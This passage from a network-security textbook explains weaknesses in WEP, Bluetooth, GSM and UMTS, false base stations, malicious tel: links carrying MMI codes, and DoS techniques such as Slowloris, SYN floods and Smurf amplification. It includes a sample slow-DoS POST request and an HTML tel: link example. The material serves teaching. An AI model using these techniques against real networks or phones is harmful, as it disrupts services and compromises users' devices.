The use of HIDSs also gives the system administrators the task of collecting up
information from the agents, in order to build up an overall picture—in a busy period
or during a heavy attack, this can be a big challenge.

8.8 Security in Wireless Networks

Wireless communication takes place via radio waves, which in most cases spread
out from the sender in all directions. This makes it difficult for the sender to know
who actually receives a message. And correspondingly, it is difficult for the receiver
to know who actually sent the message which has just arrived. This means that there
are a number of inherent risks in using wireless networks:
• Passive monitoring can in general not be detected—and the “eavesdropper” does
not need to be specially close by.
• It is possible to insert false messages, possibly by modifying or re-ordering
genuine messages.
• Replaying of old messages can easily be performed, without the receiver neces-
sarily being able to detect that they come from an attacker rather than the original
sender.
• A “man-in-the-middle” can break into an exchange between two legitimate users
and—for example—steal authentication information which they exchange.
• False APs can interfere with the communication in infrastructure mode.
• Denial of Service (DoS), where an attacker prevents legitimate users from using
the network, for example by sending radio noise, can be extremely difficult to
protect against.
To reduce these risks, it is necessary to introduce mechanisms for authentication
of the parties in a (legitimate) communication, for encryption of the traffic and for
ensuring integrity of messages. However, if you look at the historical development
of wireless networks, you will see that this is not as easy as one might imagine.
200 8 Network Security

8.8.1 Original WiFi Security (WEP)

In the original version of IEEE Standard 802.11, some simple techniques were used
for authentication, encryption and ensuring integrity. This had the advantage that
they were easy to implement in hardware, and this reduced the cost of the equipment.
For access control and authentication it was possible to choose between two
different methods, when a station (STA) wanted to communicate with an access
point (AP) in a WiFi network identified by a service set identifier (SSID):
1. Open System authentication:
• The STA sends the network’s SSID and the STA’s MAC address.
• The AP accepts the STA, unless the MAC address is blacklisted.
The result of this procedure is that the AP knows that the MAC address supplied
by the STA is not blacklisted. But the STA might have used a MAC address from
a legitimate STA, which it has found or sniffed in passing traffic. So the method
is not at all secure. And even if the MAC address is the STA’s own address, the
procedure will only check the authenticity of the STA, whereas the AP’s identity
is not checked. So the AP can be false without the STA discovering this.
2. Shared Key authentication:
• The AP sends a nonce as a “challenge” to the STA.
• The STA uses RC4 to encrypt this nonce, using a key which the STA and the
AP share, and sends the result to the AP.
• The AP checks that the encrypted nonce matches the original.
The result of this procedure is that the STA’s authenticity is checked by the AP,
but not vice versa. So also this form of authentication means that the AP can be
false without the STA discovering this.
To achieve confidentiality, the user had an (optional) possibility of encrypting the
transmitted packets, using RC4 with a shared key, which only sender and receiver
knew. A 32-bit CRC checksum (rather than a cryptographic checksum), encrypted
with RC4, was used to ensure integrity.
This solution is not sufficient to secure the communication to any noticeable
extent. RC4 is not a strong form of encryption, and it turned out to be possible to
find the encryption key by collecting up packets for a period which can be less than
one minute [87]. Nor is a CRC checksum enough to ensure integrity: it is possible
to modify the encrypted packet without this being detected.
Worse still: WEP does not include any mechanism for changing the encryption
key which two communicating parties share. If the key is to be changed, for example
because it has been compromised, this has to be done manually. This means that
you have to stop the communication, change the key within the two systems and
then continue the communication between them. In practice this is troublesome to
organise—with the result that keys are very rarely changed. An attacker therefore
generally has plenty of time to try to find the key.
8.8 Security in Wireless Networks 201

8.8.2 Development of Security in IEEE 802.11

Due to the obvious security problems in the original 802.11 standard, a considerable
effort has subsequently gone into improving wireless security. The development took
place over a period of 7 years:
• 1997: Wired Equivalent Privacy (WEP).
– As discussed above: weak RC4 encryption, one-way authentication, poor pro-
tection of integrity, keys have to be changed manually.
• 2002: Temporal Key Integrity Protocol (TKIP) is specified.
– The encryption key is changed for each packet that is sent.
– Every packet contains a sequence number, and the AP will reject packets which
are received out of sequence. This protects against attacks in which the attacker
replays an old, but otherwise correctly constructed, packet.
– Every packet contains a 64-bit Michael cryptographic checksumto ensure in-
tegrity. This is much more effective for protecting against changes in the packet
than the 32-bit CRC checksum used in WEP.
• 2002: Wi-Fi Protected Access (WPA), which includes TKIP, is specified.
• 2004: IEEE Standard 802.11i is published.
• 2004: WPA2 (based on IEEE Standard 802.11i) is specified.
– Permits mutual authentication of AP and STA.
– Only Robust Security Network (RSN) connections are allowed. These achieve
a high degree of security by using the following techniques:
· Integrity: Cryptographic checksum (Michael or AES+CCM).
· Confidentiality: RC4+TKIP or AES+CCMP.
· Key exchange: IEEE 802.11i “4-way handshake”.
· Authentication: IEEE 802.1X and EAP. The principle is shown in Fig. 8.25.
A STA, which wants to attach itself to the network, has in the first instance
only access to exchange authentication information with an authentication
server (AS) in the cabled network behind the AP. Not until authentication is
complete can the STA communicate with other computers in the network.
The Extended Authentication Protocol (commonly abbreviated EAP) makes
it possible to use a wide range of authentication techniques, including the
use of ordinary and one-time passwords, certificates and smartcards.
• 2009: IEEE declares TKIP outdated and advises against using it.
WPA2, based on IEEE Standard 802.11i, is today considered a reasonably secure
technique—much better than its predecessors. Nevertheless, you still find equipment
which also permits the use of WEP or WPA (or which can only use WEP or WPA),
and which therefore represent a great security risk.
202 8 Network Security

STA

Wireless/cable interface
AS
AP
Cisco 7500 SERIES

CiscoSystems

Cable-based
Ethernet LAN

Fig. 8.25 Authentication with the use of 802.1X

A station STA can only communicate with the authentication server AS in the cabled network, until
authentication is complete.

8.8.3 Security in Bluetooth

Personal networks, such as Bluetooth (often abbreviated BT), are designed to support
communication over short distances. The most powerful class of BT units—Class 1,
intended for use in industrial systems—has a nominal range of 100m, but the more
ordinary BT units in Classes 2, 3 and 4 have nominal ranges of 10, 1 and 0.5 meters
respectively. The large majority of BT units in mobile phones, laptop computers,
tablets, printers, headphones, microphones and other entertainment equipment are
in Class 2. The short range means that an attacker has to be relatively close to the
victim in order to eavesdrop on the traffic, break its integrity, or force the victim to
accept unwanted traffic.
With that said, there are at least three areas where security in Bluetooth is chal-
lenged. Two of them are technical, the third is psychological:
1. Encryption: Bluetooth packets are encrypted using the stream cipher E0, which
it is possible to break with a known-plaintext attack which requires the collection
of the first 24 bits from around 14.6 million packets, followed by 238 (about 274
billion) calculations. This is a feasible task with today’s technology.
2. Pairing: For two Bluetooth units to be able to communicate, they have to go
through a process in which they “form pairs”, during which they choose a shared
key known as a link key. This key is stored in the unit and is used for authen-
tication—a BT unit recognises the units which it is paired with by recognising
the link key, and it will only communicate with these. The link key is also used,
together with some random numbers, to generate the shared encryption key which
is used in the E0 stream cipher.
Just like in WiFi, the security was not specially high in the first versions of Blue-
tooth (up to and including v2.0). In the original version of the pairing algorithm,
8.8 Security in Wireless Networks 203

both parties should use the same PIN code (either typed in for the occasion or
hard-wired into the unit), which could be up to 16 UTF-8 characters. In practice,
many simple units, such as headphones, had hard-wired 4-digit PIN codes such
as “0000” or “1234”, which could easily be found by a brute-force attack. It also
turned out to be possible to derive the PIN code (and therefore the link key) by
passive monitoring during the pairing process. If the pairing process had already
been completed, it was possible by an active attack to provoke a repetition of the
pairing process, during which passive monitoring could be used to get hold of
the PIN code. Moreover, an attacker could perform a man-in-the-middle attack,
where it during a pairing process between units A and B could masquerade as B
towards A and as A towards B.
Since v2.1 of Bluetooth, the security of the pairing process has been strengthened
by the introduction of Secure Simple Pairing (SSP). Instead of forming the link key
from the PIN code, SSP uses asymmetric encryption based on elliptical curves,
together with a variant of Diffie-Hellman key agreement. If unit A has public key
𝑃𝐾 𝐴 and private key 𝑆𝐾 𝐴, and unit B correspondingly 𝑃𝐾 𝐵 and 𝑆𝐾 𝐵 , then there
is a function F , such that:

F (𝑃𝐾 𝐴, 𝑆𝐾 𝐵 ) = F (𝑃𝐾 𝐵 , 𝑆𝐾 𝐴)
So, just as in the form of Diffie-Hellman key agreement shown in Sect. 5.4.1
(where the function F is the exponential function), A and B can calculate the
same value by sending their respective public keys to one another. Each of them
uses the function F to combine the other’s public key with its own private key,
so that both units calculate the same value. This value is used instead of a PIN
code for calculating the link key. As it is only their public keys which they send
to one another, an attacker will not get any useful new knowledge by listening
to the exchange—both parties keep their private keys to themselves. SSP also
contains some new possibilities for authentication of the parties during pairing,
so man-in-the-middle attacks are avoided.
3. Inattention: It is very easy not to notice whether Bluetooth is turned on or off.
An investigation carried out at the Technical University of Denmark revealed that
many users of mobile equipment—especially smartphones—did not know how
they could turn Bluetooth communication on or off. Neither did they know how
to change from a state in which a Bluetooth unit could be discovered by another
unit to a state where it could not directly be discovered. People just left Bluetooth
turned on and let the unit be discoverable all the time.
A Bluetooth unit which is discoverable responds to scanning attempts from other
units which want to find out whether there is a BT unit nearby. The response
will normally include the unit’s 48-bit address, BD_ADDR. A unit which knows
another’s address can send a request to be paired. An inattentive user might react
positively to this request, as it will normally only be units that it already knows
which will know the address. This gives rise to a risk of being paired with a unit
operated by an attacker, which can steal data or upload malware. As a general rule,
204 8 Network Security

you should only let a unit be detectable for short periods, when it is completely
necessary—and never in a public place!
There are a number of attacks which are very specific for Bluetooth. Bluesnarfing
and Bluebugging are both attacks based on various vulnerabilities in older imple-
mentations of firmware for Bluetooth. Bluesnarfing enabled the attacker to read data
stored on the attacked unit, such as lists of contacts, calendar data, pictures and so
on. With Bluebugging, a backdoor was uploaded to the unit, so the attacker can
control the unit from outside and, for example, initiate or eavesdrop on telephone
conversations. Bluejacking is not directly harmful: basically, it just sends unasked-for
messages which turn up on the screen of the telephone or computer. But the message
can perhaps persuade the recipient to react in an unsuitable manner, for example by
putting the sender into the list of contacts. This may lead to further attacks which
are based on the fact that people in the list of contacts are usually to be trusted. But
who knows what the attacker can come up with?

8.9 Security in the Mobile Telephone Network

Communication in the mobile telephone network is exposed to the same risks as

in networks based on WiFi technology and must be protected to maintain message
integrity, confidentiality and authentication of the parties. Also in this case, there has
been a considerable development over the years in order to keep up with attackers’
attempts to breach the security.

8.9.1 Security in GSM

The original GSM-based (2G) mobile telephone network used three encryption
functions to achieve the desired security:
1. A3 for use in the authentication process;
2. A5 for use in encryption of the transmission between the mobile station and the
Base Transceiver System (BTS);
3. A8 for deriving the encryption key for use in A5.
This is illustrated in Fig. 8.26.
Authentication relies on the use of a 128-bit shared key, 𝐾𝑖 , which is burned
under secure conditions into the SIM card and which is also stored in the network’s
authentication centre, AuC. When a mobile station tries to connect to the network’s
core network (typically when the station is turned on), its SIM card is authenticated
by a “challenge-response” exchange between the station and the AuC. The AuC sends
a randomly chosen 128-bit number, RAND, as a challenge to the station, which uses
A3 to encrypt it with the shared key 𝐾𝑖 . The result, SRES, is sent back to the AuC,
which compares SRES with its own calculation of RAND encrypted by A3 using the
key 𝐾𝑖 . If the results match, then the SIM card is accepted and the mobile station can
8.9 Security in the Mobile Telephone Network 205

Challenge
SIM RAND

A3 A3

Ki Signed response Ki
SRES

A8 A8

Kc Kc

Mi Encrypted data Mi
A5 A5

In mobile station In AuC

Fig. 8.26 Cryptographic functions in GSM

be connected to the network. At the same time, both the station and the AuC use the
function A8 to encrypt the shared key 𝐾𝑖 to produce a 64-bit session key, 𝐾𝑐 , for use
in A5. The triplet (RAND, SRES, 𝐾𝑐 ) is sent to the network’s Message Switching
Center, MSC (see Fig. 6.19), which sends it on to the BTS which will communicate
with the station.
There are a number of weaknesses in this way of securing the system:
1. The functions A3 and A8 are weak, so the encryption which they give can be
broken and forged SIM cards can therefore get accepted.
2. The basic idea in GSM authentication is the same as in Shared Key authentication
in WEP. And, even though 𝐾𝑖 is of 128 bits and A3 is a much stronger encryption
algorithm than RC4, the method is not specially secure: Like in WEP, the station
is authenticated to the network, but not vice versa. So stations can be fooled by
false BTSs.
3. The session key 𝐾𝑐 is only of 64 bits, which nowadays must be considered much
too short for secure encryption of the communication.
4. In the original version of GSM, the function A5 for encryption of the transmission
“through the air” between the station and the BTS was available in two versions
(A5/1 and A5/2), both of which later turned out to be possible to break, so that
the session key is revealed.
5. The encryption with A5 only covers the stretch between the station and the BTS,
while traffic passes unencrypted through the rest of the network, including any
radio links on the way to the destination.
6. There is no mechanism for ensuring integrity of data.
206 8 Network Security

GSM uses GPRS for data transfer through the network, for example on access
to web pages. This data traffic can be encrypted with one of the functions GEA/1,
GEA/2 or GEA/3. Encryption can also be turned off completely (by using “GEA/0”).
In 2011, Karsten Nohl and his research group showed that all these functions can
be broken so the transmitted data can be read. The group published open source
software, gprsdecode, which can be used for this purpose.

8.9.2 Can the A5 Functions Be Broken in Practice?

Whether the functions A5/1, A5/2 and A5/3 are secure enough is a topic which
excites strong feelings. The public has a reasonable expectation that communication
through the telephone network is confidential. Network operators have an interest in
showing that this expectation is met. But everything indicates that the security can
be broken, if you have enough resources to invest in the project.
A5/2 is itself a weak version designed for use in countries where strong encryp-
tion was considered undesirable, and as early as 1999 two American researchers,
Goldberg and Wagner, were able to show that it was easy to break using quite or-
dinary equipment. A5/1 is the most used version and was until 2005 considered to
be too difficult to break. A number of theoretical attacks had been proposed, but
they required knowledge of large amounts of plaintext1. In 2006, Barkan, Bilham
and Keller presented an attack which only required knowledge of the ciphertext;
however, it required too many resources—time, storage space or both—to be per-
formed in practice at that time. Since then, a number of research groups have tried
similar approaches, using computing power supplied by large numbers of GPUs, and
genuine breaks of A5/1 have been reported.
A5/3, also known as KASUMI and GEA/3, which uses 128-bit keys, is the strongest
A5 version up to now, but was broken in 2010 by three Israeli cryptographers,
Dunkelman, Keller and Shamir, who used a related key attack which could be
performed on an ordinary PC [26]. Interestingly enough, KASUMI is derived from
Mitsubishi’s patented block cipher MISTY1, which can not be broken by this attack.
Some small changes had been made in MISTY1, in order to give a function which was
easier to implement in GSM telephones. This is a good illustration of how dangerous
it is to make even small changes in an encryption function without in-depth analysis
of the consequences.

1 In GSM, like most communication protocols, a good deal of standard information is exchanged
in the course of a conversation. So it can be assumed to be possible to collect a modest amount of
plaintext, but hardly the amount, corresponding to 3-5 minutes of conversation, which was needed.
8.9 Security in the Mobile Telephone Network 207

8.9.3 Security in UMTS

During the devlopment of UMTS, an effort was made to repair some of the security
defects in the original GSM system. The architecture of the network is only changed
in the access network, where a Radio Network Controller (RNC), which can handle
the traffic from several BSTs, replaces GSM’s BSC (see Fig. 6.19). But encryption
and ensuring the integrity of the traffic between the mobile station and the network
“through the air” in UMTS covers the whole stretch from the mobile station and in
to the RNC. The preferred encryption function for this traffic is A5/3, i.e. KASUMI,
which uses 128-bit keys. The complete architecture is shown in Fig. 8.27.
Mobile stations contain an UICC smartcard to store subscriber information, just
like the well-known SIM cards in 2G telephones. Technically speaking, the card
runs the USIM application instead of the SIM application, and so it is often (not
quite correctly) called a USIM card. A shared secret, K, is stored in the card and
in the home network’s AuC, just as in GSM. The authentication process is based
on a more complex challenge-response exchange than in GSM networks, in order to
achieve reliable mutual authentication of station and network. The AuC uses K and
a sequence number, SQN, to create an authentication vector, AV, which contains:
• A random number, RAND, which is used as the challenge;
• A 128-bit network authentication token, AUTN;
• The expected response, XRES, from the mobile station, when the challenge is
sent to it;

1 2 3

4 5 6

7 8 9

# 0
*

PSTN

AuC

MSC/VLR GMSC

Mast Radionet
Mobile
BTS controller HLR SCP
Station
RNC

3G-SGSN GGSN
Access network
Encryption Core network
Integrity
Authentication

IP network

Fig. 8.27 The architecture of a telephone network based on UMTS

208 8 Network Security

• Two keys: A session key, CK, for use in encryption, and an integrity key, IK, for
use in calculating a checksum to ensure integrity.
Just as in GSM, this vector is sent to the server which is to perform the actual
authentication. When a station wants to register itself on the network, the server
sends an authentication request containing RAND and AUTN to the station. The
USIM application in the station analyses the token AUTN to check that it has been
produced by the desired network with the expected sequence number, SQN. If it
passes this check, the network is authenticated. The station then encrypts RAND
with the key K and sends the result RES to the server, which checks that RES is the
same as the expected result, XRES. If it passes this check, the station is authenticated.
The server can from then on use IK and CK to secure the communication between
station and server. This mechanism is known as Authentication and Key Agreement
(often just known as AKA), and is in fact a variation on digest authentication in
HTTP.
As can be seen, execution of this process leads to mutual authentication of station
and network. However, the protocol has been shown to have a serious weakness:
The sequence number included in the challenge is intended to work as a nonce to
ensure that an attacker cannot cheat by replaying old exchanges. But it turns out to
be possible for an attacker to discover the sequence number in use by issuing a large
number of challenges. This makes it possible for the attacker to set up a false server
which acts as a BTS to which the mobile device will connect.

8.9.4 False BTSs and Surveillance

A general risk with communication in mobile networks is, like in WiFi-based net-
works, that it is possible to set up false BTSs which unsuspecting mobile users
connect to. All BTSs send out a pilot signal to announce their existence. It is a
general property of mobile stations that they connect to the BTS which gives the
strongest pilot signal, as this will as a rule be the nearest one. A false BTS, which
sends out specially strong signals—possibly only for short periods of time – will
therefore get to dominate the genuine masts in the vicinity.
This phenomenon can be exploited for surveillance in two different ways:
1. Surveillance of user position: The false BTS is used to collect information about
which stations connect to it. The item which typically interests the attacker is the
station’s IMSI, which says who the owner of the SIM card is. If the false BTS is
used in this way, it is often called an IMSI catcher. IMSI catchers are used both
by authorities (such as the police) and by criminals to trace people’s movements.
2. Surveillance of traffic content: The false BTS is used to decrypt the traffic
“through the air”, so conversations and data can be picked up. In general, it is
the BTS which decides which encryption function is to be used for this traffic. A
false BTS used for this type of surveillance will typically order the station to use
an encryption function, such as A5/2 or A5/1, which is easy to break, or “A5/0”,
8.9 Security in the Mobile Telephone Network 209

Fig. 8.28 A false BTS can

take over the traffic from a
mobile station

False
BTS
Mobile True
Station BTS

where there is no encryption at all. It has become known that equipment known
as StingRay, developed by Harris Corporation in USA, is used by the authorities
for surveillance in USA and possibly other countries. A problem with equipment
of this type is that it can be difficult to collect information from a single person,
among all those who are in the vicinity of a certain BTS, without also monitoring
a number of completely innocent persons. Not surprisingly, publication of this
activity led to protests from civil rights groups, who felt that people’s private life
was threatened.
Some false BTSs can be set up to pass all mobile traffic on to a genuine BTS, so
users of the station do not notice that they are under surveillance. The alternative is
to break the connection as soon as the desired data has been collected, so the user
believes that there has been a network fault and tries again somewhat later.
Active false BTSs of the Stingray type can also disturb the mobile traffic in a more
direct way by ordering stations to increase the power that they send with. This power
management is a mechanism built into the mobile network to ensure a reasonable
quality in the communication between the station and the BTS. Normally the power
will be raised or lowered to maintain more or less constant quality. If, on the other
hand, the power is turned up to its maximum all the time, the station’s battery will
quickly be discharged and the user will no longer be able to use the station.
In mobile networks based on GSM it is relatively easy to get stations to connect
to false BTSs, as the station is authenticated to the network, but not vice versa. In
UMTS, despite the use of AKA, there is still a risk of being caught by a false BTS.
Moerover, UMTS allows interoperation with GSM to ensure good coverage, so GSM
BTSs can be present in a UMTS network, and false BTSs can exploit this fallback
possibility for man-in-the-middle attacks.

8.9.5 Is Your Mobile Device Secure?

Mobile networks, based either on WiFi or telephony technology, have the basic
problem that even if you do your best to protect the traffic passing through the
210 8 Network Security

network, it is hard to ensure that the devices which move into and out of the network
are equally well protected. This became quite clear when the operational strategy
known as Bring-Your-Own-Device (or just BYOD for short) became fashionable
around 2010, and the number of security breaches in companies and organisations
increased significantly. The problem is that the same device gets used in both sensitive
environments with high security requirements, and in risky environments.
Many mobile devices such as smartphones and tablets are relatively easy to lose
and multiple surveys show that people leave them in taxis and trains, airports and
other public places where they can easily be manipulated. Mobile devices attached to
GMS or UMTS telephone networks can be configured by typing in simple commands
known as MMI codes to the device’s phone app. MMI stands for Man-Machine
Interface. They fall into four classes:
• Supplementary Service (SS) codes: These are standardised codes which all
network operators must respect. They are used to control functions such as number
forwarding and blocking incoming or outgoing calls.
Examples: **21*12345678*11# Forward all incoming phone calls to number
12345678.
*#21**11* Show status for forwarding phone calls.
• Unstructured Supplementary Service Data (USSD) codes: These codes look
like SS codes which end in #, but are not recognised as true SS codes. They are
specific for individual network operators, and are passed on to the network which
is expected to deal with them.
Example: *#100# Commonly used to ask for the balance remaining on a pre-paid
SIM card.
• Manufacturer-defined MMI codes: These are codes which are specific for a
device from a given manufacturer, for example to reset the device to the factory
default settings or to perform a remote wipe.
Example: *#06# displays the IMEI number for the device. (Rather exceptionally,
all manufacturers have to implement this code!)
• SIM control codes: These are used to perform tasks such as changing the PIN
or PIN2 code.
Example: **04*9876*3579*3579# Change the PIN code from 9876 to 3579.
You can easily try some of these on your own phone. Functions in the SS and USSD
groups will not be activated until you touch the “Call” button, as if calling a normal
telephone number, so it is necessary to have physical access to the phone.
Functions in the two other groups can be activated just by tapping in the code.
This is a severe security risk. For example, it is quite common for people to put
contact information on their personal web pages, mails and even text messages in
the form of clickable links whose URIs use the tel scheme for giving their phone
number. Remember here that in a link given in HTML, it is the href attribute which
gives the real target of the link, while the rest of the HTML anchor element is the
text which will be displayed to the user! So if you click on a link given by the HTML
code:
<A href="tel:+4598765432"> 98 76 54 32</A>
8.10 Denial of Service (DoS) Attacks 211

then your phone app will be activated to call the number +4598765432. But corre-
spondingly, if you click on a link given by the HTML code:
<A href="tel:*#06*"> 98 76 54 32</A>
then your phone app will be activated to show your phone’s IMEI. And, of course,
if you click on a link where the MMI code is the manufacturer’s code for wiping the
phone, then your phone will be wiped. Some, but not all, AV software for phones
can check for dangerous links based on tel schemes. But it is always a good idea to
check for yourself what the real target of the link is – on most tablets and smartphones
with touch-sensitive screens, this can be revealed by pressing on and holding the
link.

8.10 Denial of Service (DoS) Attacks

DoS attacks are attacks whose aim is to prevent authorised users from getting access
to a resource. The purpose of this is not to steal or modify data or to reveal confidential
information, but solely to reduce the system’s availability. This reduced availability
is nevertheless not always the primary aim of the attack, but may just serve to divert
the victim’s attention from other forms of attack which have been set going at the
same time. DoS attacks are most often directed at network services, especially web-
based services, but DoS against operating systems or individual applications is also
possible. The attack can in many cases be made more effective if several parties
collaborate to carry it out. It is then called a Distributed DoS attack, or just a DDoS
attack.
DoS attacks are basically only possible because the amount of resources in any
physical system is limited. When an activity requires a certain amount of resources
in order to be performed, there is therefore a natural limit to how many instances
of this activity can be in progress at the same time. As activities in all layers of the
reference model require resources, DoS attacks can be directed at all layers. In the
following sections we look at some typical forms of attack in the individual layers.

8.10.1 DoS Attacks in the Application Layer

DoS attacks in the Application layer are nowadays very common and exploit the fact
that servers for the large majority of Application layer services can only handle a
certain number of simultaneous transactions. A web server, for example, can only
handle a certain number of simultaneous requests, a mail server can only handle a
certain number of simultaneous mail transfers, and so on. The attacker can then use
two different strategies for making the service unavailable for others:
1. Fast attacks: A very large number of transactions are started in as short a time
as possible.
212 8 Network Security

2. Slow attacks: A smaller number of transactions are started—just enough to use

up the capacity of the server—but these transactions are dragged out for as long
as possible, so they hang on to the reserved resources.
Some of the fast DoS attacks have caused headlines, as they have affected high-
profile web sites such as amazon.com, WordPress.com and reddit.com, which
have been put out of action for shorter or longer periods of time. Typical fast attacks
are also characterised by the server being flooded with extremely large amounts of
traffic, so it is not just the server, but also the communication network that the server
is installed in, which becomes unavailable.
Fast DoS attacks must not be confused with lack of availability due to unexpected
numbers of users looking at a website or similar. It is a well-known matter, for
example, that CNN’s web pages became unavailable after the terrorist attacks on the
World Trade Center on 11th September 2001, and many national tax authorities and
public lotteries have problems at times when “everyone” wants to see whether they
are going to get some tax back or they have won a big prize. This is not a question
of attacks, but of unsuitable dimensioning or poor setup of the servers which get
affected.
Slow DoS attacks are more subtle (and less well known). A good example is
Slowloris, which works by first sending the initial parts of a moderate number of
HTTP requests as usual, and then sending the rest of each request extremely slowly.
HTTP POST requests, where the request itself contains a document which is to be
passed on for processing by another application, such as a bulletin board, are well-
suited for this type of attack, which is illustrated in Fig. 8.29. The document is shown
here in blue italics, and its length is given by the header line Content-length as
2 Gigabytes. (Only a tiny part of the text is shown in the figure!) In a typical slow
attack, the document is sent with a speed which is perhaps as low as 1 Byte/110
seconds. So without protection the server could be locked for a very long period
(about 2.7 million days).
Slow attacks of this type are unfortunately very hard for the victim to deal with.
The classic reaction to a DoS attack in the Application layer is to close one or more

POST http://www.latini.net/bulletinboard.php HTTP/1.1

Host: www.latini.net
Content-length: 2147483647

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean

vehicula consectetur arcu, facilisis porttitor dolor placerat
quis. Phasellus luctus pellentesque enim, non dictum nisl ultrices
sed. Sed velit turpis, luctus ut nisi in, eleifend varius
massa. Vestibulum ex dolor, lobortis eu finibus nec, lobortis quis
orci. Phasellus ac metus felis. Lorem ipsum dolor sit amet,
...
...
eu finibus nec, lobortis quis orci. Phasellus ac metus felis.

Fig. 8.29 A slow DoS attack could be based on an HTTP POST request like this
8.10 Denial of Service (DoS) Attacks 213

firewalls for all traffic from the sender. But with slow attacks it is difficult to decide
whether it really is an attack or just a client that is a bit sleepy. One of the most
effective proposals for protection is to set a limit for how much time a client may
have to complete a transaction. This limit is set when the server is being configured.
When the time runs out, the transaction is aborted.

8.10.2 DoS Attacks in the Transport Layer

With attacks in the Transport layer, the attacker consumes resources so users can no
longer set up TCP connections through the network. A typical example of this is
the SYN flood attack, which exploits TCP’s handshake procedure for establishing a
connection. In the user’s computer there will normally only be allocated resources
for storing information about a certain number of TCP connections. The normal
procedure was shown in Fig. 6.11:
1. The party (the “initiator”) who wants to set up a new connection sends a TCP
PDU with the SYN flag set to the other party (the ‘responder”).
2. If the responder can accept this request to set up a connection, it reserves resources
for storing information about the connection and sends the initiator a response in
the form of a PDU with the SYN and ACK flags both set.
3. The initiator confirms receipt of this with a PDU with the ACK flag set.
With a SYN flood attack, the attacker sends (as initiator) a large number of SYN
PDUs, as illustrated in Fig. 8.30a., so the victim’s resources for storing information
about connections are all used up. The victim will therefore not be able to accept
new requests to set up connections.
In the simplest form of this attack, the attacker will furthermore not send the ACK
PDU which would normally terminate the procedure. The victim will, however,
only wait for this PDU for a certain time (a so-called timeout time), after which
it will release the allocated resources and therefore in principle be able to accept
new requests. But if SYN PDUs from the attacker continue to arrive, the released
resources will immediately be taken again, and the victim will still not be able to
accept genuine connections from outside.
A variant of this is SYN spoof attacks, illustrated in Fig. 8.30b. Here the attacker
sends spoofed PDUs with SYN set—that is, PDUs with fake source addresses—to
request a connection. The victim sends his SYN+ACK responses to the false address,
and as the computer with that address has not sent the SYN PDUs, it will ignore
these responses. The victim never gets any ACK PDUs back and therefore waits. If
spoofed SYN PDUs continue to arrive, the victim runs out of resources—and valid
users cannot set up connections.
It is also possible to carry out a kind of slow DoS attack in the Transport layer by
exploiting TCP’s rules for how a TCP connection is closed. As we saw in Sect. 6.2.4,
the connection is not closed until both parties have told one another that they want to
close the connection. So an attacker can put off closure of the connection by simply
214 8 Network Security

Attacker Server
(initiator) (responder)

PDUs Server

(SYN, .
. .)
(SYN, .
. .)
(SYN, . CK, . . .)
. .) (SYN,A
CK, . . .)
(SYN,A
CK, . . .)
(SYN,A
..
..
time

a.
Attacker Server System with
(initiator) (responder) spoofed address

PDUs Server

(SYN, .
. .)
(SYN, .
. .)
(SYN,AC
(SYN, . K, . . .)
. .)
(SYN,AC
(SYN, . K, . . .)
. .)
(SYN,AC
K, . . .)

.. (SYN,AC
K, . . .)

..
time

b.
Fig. 8.30 DoS attacks in the Transport Layer
a. A SYN flood attack
b. A DOS attack with SYN spoofing

sending TCP PDUs with the ACK flag set at regular intervals to keep the connection
alive. It just never sends the PDU with FIN and ACK both set, which would tell the
victim that it was OK to close the connection. If the attacker can get a large number
of connections to “hang” like this, then valid users cannot set up new connections.

8.10.3 DoS Attacks in the Internet Layer

With attacks in the Internet layer, the attacker typically consumes all the network’s
bandwidth, so other users cannot use the network. This form of attack is often made
8.10 Denial of Service (DoS) Attacks 215

more effective by using so-called amplification, where the attacker exploits possibili-
ties for enlarging the traffic with a large factor, in order to flood the victim’s network.
An example of this is Smurf attacks, which exploit ICMP broadcast facilities to gen-
erate a large traffic load. ICMP is a simple protocol for investigating the functioning
of IP-based networks. Amongst other things it is used to support the commonly used
“ping” function for discovering if a system is both active and reachable via IP. This
function can be misused as follows:
• The attacker finds routers which permit broadcast ping, where a ping to the router
gives a ping response from all computers in the network. These computers are in
this context known as the attack’s amplifiers.
• The attacker sends a spoofed ICMP ping request, which appears to come from
the victim, to the router, which sends a ping to all the amplifiers. They reply to
the victim, and in this way all available bandwidth in the victim’s network gets
used up. This is illustrated in Fig. 8.31.

Attacker Router

Network Server

with amplifiers
Victim
Server

Fig. 8.31 Amplification in a Smurf attack

The figure shows an attack in which the router is placed in a small network with
only four systems, which send ping responses to the victim (the dashed lines). In real
attacks, it would be normally be a network with many more systems which could act
as amplifiers.

8.10.4 DoS Attacks in the Link and Physical Layers

Attacks in the Link layer and the Physical layer are typically based on sending noise
or on other forms of misuse of the access protocol which is used to gain access to
the physical medium. This requires in almost all cases that the attacker has physical
access to the medium.
It requires considerable technical skill to perform a DoS attack of this type if the
communication goes through a direct cable, with either electrical or optical signals.
But many modern communication networks use shared media, where several systems
216 8 Network Security

have the possibility of accessing the same cable (as in the widely used Ethernet LAN
technology) or of using the same radio frequencies for wireless communication.
The attacker can then perform a DoS attack by setting up a unit which transmits
unrestrainedly through the shared medium.

8.10.5 Distributed DoS Attacks

As a single source of attack can in many cases be filtered off with the help of a
firewall, attackers often use a collection of compromised machines, which are under
their control, to generate traffic. The compromised machines—so-called zombies—
typically form part of a botnet, which the attacker is the botmaster for, and they are
controlled by commands which the botmaster sends via the botnet’s infrastructure.
This is illustrated in Fig. 8.32. The botnet in the figure has a peer-to-peer (P2P)
infrastructure, as used in many modern botnets. The botmaster gives his orders to
one of a group of backend servers, which can communicate via a collection of proxies
(which themselves are zombies) with a collection of worker zombies, which generate
the traffic and direct it at the victim. The figure shows an attack which only uses
six worker xombies, but in real attacks several hundred thousand may be involved.
The task of taking control of so many computers has in recent years become much
easier than previously, since more and more types of equipment—printers, scanners,
routers, smart TVs etc. —with embedded computers are attached to the network

Botmaster
(attacker)

Servers Server Server Server Server Server

Proxy
zombies

Worker
zombies

Victim

Server

Fig. 8.32 A DDoS attack via a botnet

8.10 Denial of Service (DoS) Attacks 217

and can be incorporated into a botnet. A typical attack in 2016 generated around 2
million PDUs per minute, corresponding to a bandwidth of around 5.5 Gbit/s [92].
The record is believed to be a DDoS attack in 2014, which generated a bandwidth
of 400 Gbit/s.
DDoS attacks are by now one of the commonest net-based attack types. The
botnets which are exploited for the attacks are, as mentioned previously, often created
by criminals who have set up a business based on renting their botnet out to interested
parties on a pay-by-the-hour basis. Thus the actual attacker doesn’t need to have all
the hassle of organising a botnet (or similar) for sending out the necessary large
